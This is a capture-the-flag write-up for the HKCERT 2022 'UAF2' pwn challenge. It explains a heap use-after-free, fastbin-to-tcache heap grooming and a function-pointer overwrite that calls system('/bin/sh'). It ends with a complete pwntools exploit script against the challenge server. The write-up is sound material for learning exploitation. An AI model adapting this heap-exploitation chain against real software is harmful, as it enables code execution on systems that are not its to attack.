# HKCERT CTF 2022 UAF2 ###### tags: `HKCERTCTF2022` `Pwn` ## Challenge description ![](https://i.imgur.com/HsojLfH.png) This is a subsequent challenge based on UAF. It has been covered [here](https://hackmd.io/@vikychoi/SJJ0kKeUs). Let see what are the differences between UAF and UAF2. ```bash= diff zoo.c ../uaf_14a0a6f911cd2fa4cb75e3896153ec4b/zoo.c 5a6 > #define MAX_NAME_SIZE 0x40 29a31,34 > void get_shell() { > system("/bin/sh"); > } > 48c53 < print("Welcome to abc Zoo!!!"); --- > print("Welcome to ABC Zoo!!!"); 105c110,119 < animal->name = (char*) malloc(0x18); --- > print("How long is the name? (max: 64 characters)"); > while (1) { > printf("> "); > scanf("%d", &size); > if (size >= 0 && size < MAX_NAME_SIZE) { > animal->name = (char*) malloc(size); > break; > } > printf("??\n"); > } 109c123 < read(0, animal->name, 0x18); --- > read(0, animal->name, size); ``` So the changes are as following: 1. The `animal->name` is now fixed to size 0x18 bytes 2. No more `get_shell` 3. ~~It is now called ABC Zoo~~ ## Vulnerbility Analysis The vulnerbility is the same as the previous challenge UAF. The vulnerbility of use-after-free still exists as the vulnerable codes mentioned in the previous write up were not modified. The challenge here is we can no longer control the chunk size that is assigned to `animal->name`, making it a bit harder for us to allocate the desired `Animal` chunk to where we control. Our previous exploit could not work as we can no longer seperate the first chunk allocated for `Animal` and the second chunk allocated for `animal->name` by using different chunk size. Now both chunk has the same size and will be allocated to the 0x20 size tcache bin. ## Exploitation ### How could we reallocate a `Animal` chunk to `animal->name` There is a neat property implemented in glibc that would fill the tcache from fast bin in reverse order if the tcache is empty but fast bin is not empty. I think I read it from here: [fastbin_reverse_into_tcache.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_reverse_into_tcache.c) We want to reallocate an `Animal` chunk to `animal->name`. To achieve so, we need to have the `Animal` chunk in the second linked list of the tcache. After some trial and error, we could manipulate the tcache and fast bin as following to achieve that: 1. Call `add_animal` 5 times 2. Call `remove_animal` on zone 0, 1, 2, 3, 4 to fill up tcache and put 3 chunks in fast bin ![](https://i.imgur.com/spVODrh.png) 3. Call `add_animal` 3 times, now tcache has 1 chunk and fast bin has 3 chunks ![](https://i.imgur.com/R8JucWc.png) 4. Call `add_animal` 1 time, the remaining 2 chunk in fast bin will be put into tcache in reverse order ![](https://i.imgur.com/1hek7Ai.png) 5. Call `add_animal` 1 time to allocated the remaining chunks In the hopes of providing a clearer context, the following is a graph illustrates the state of bins. Each chunk is annotated in `Animal` or `Name` with the corresponding zone number. Please keep in mind that both tcache and fast bin are FILO. This is the layout of bins at step 2. ![](https://i.imgur.com/cE755VG.png) At step 3, we can see the name chunk of zone 0 is at the head of tcache and the animal chunk of zone 4 is at the head of fast bin. ![](https://i.imgur.com/47AIsEr.png) At step 4, Name0 and Animal4 was allocated respectively. We can control the `zoo.animals[choice]->speak` of zone 4 when creating zone 8 and supplying the name. The following graph illustrates the remaing chunks in the bin. Note that the order of `Name4` and `Animal3` has been reversed into tcache ![](https://i.imgur.com/v5p8Fzb.png) At step 5, since we know `zoo.animals[choice]->speak` would pass 1 parameter when the function was called, and we know the parameter is `zoo.animals[choice]->name`, this means Name4 will be passed as the argument when `report_name` is called on zone4. We can control the content of `Name4` when creating zone 9 by inputing the name. ### Code execution To verify we have control over the execution flow, input `AAAAAAAA` while creating zone 8. Observe where the RIP was redirected when the zone 4 was reported. There is no win function, but PIE was not enabled and `system` is in the GOT of the binary, we can directly call `system` from GOT. However it would crash probably due to stack alignment. So I tried `system@plt` which worked. ![](https://i.imgur.com/fNGvDAy.png) ## After thought I did not quite understand why my exploit worked when I got the flag from this challenge, but after finishing this write up, I think I convinced myself enough why it worked. In addition, the attack could be shorter as after tcache was filled, the name chunk is at the head of the tcache, meaning if we `add_animal` after `remove_animal` was called 4 times, we would be able to get `Animal` chunk from zone 2. Then we could start the exploitation from there. But I dont see an easy way to pass the parameter via Name2 when system was called. So I will probably leave this as an excercise for the reader. ## Solve script ```cpp= from pwn import * context.log_level = "debug" def _add(p,name): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(name) p.recvuntil(b'> [DEBUG]') def _remove(p,idx): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"> ") p.sendline(idx) p.recvuntil(b'> [DEBUG]') def _report(p,idx): p.recvuntil(b"> ") p.sendline(b"3") p.recvuntil(b"> ") p.sendline(idx) chall = ELF("./_chall") system = 0x404038 p = process(chall.path) # gdb.attach(p, "b * report_name + 256\n c;") # pause() p = remote("chal.hkcert22.pwnable.hk", 28236) _add(p,b"1") _add(p,b"1") _add(p,b"1") _add(p,b"1") _add(p,b"1") for i in range(5): _remove(p,f"{i}".encode()) _add(p,b"aaaa") _add(p,b"bbbb") _add(p,b"cccc") _add(p,p64(0x401120)) _add(p,b"/bin/sh") _report(p,b"4") p.interactive() ```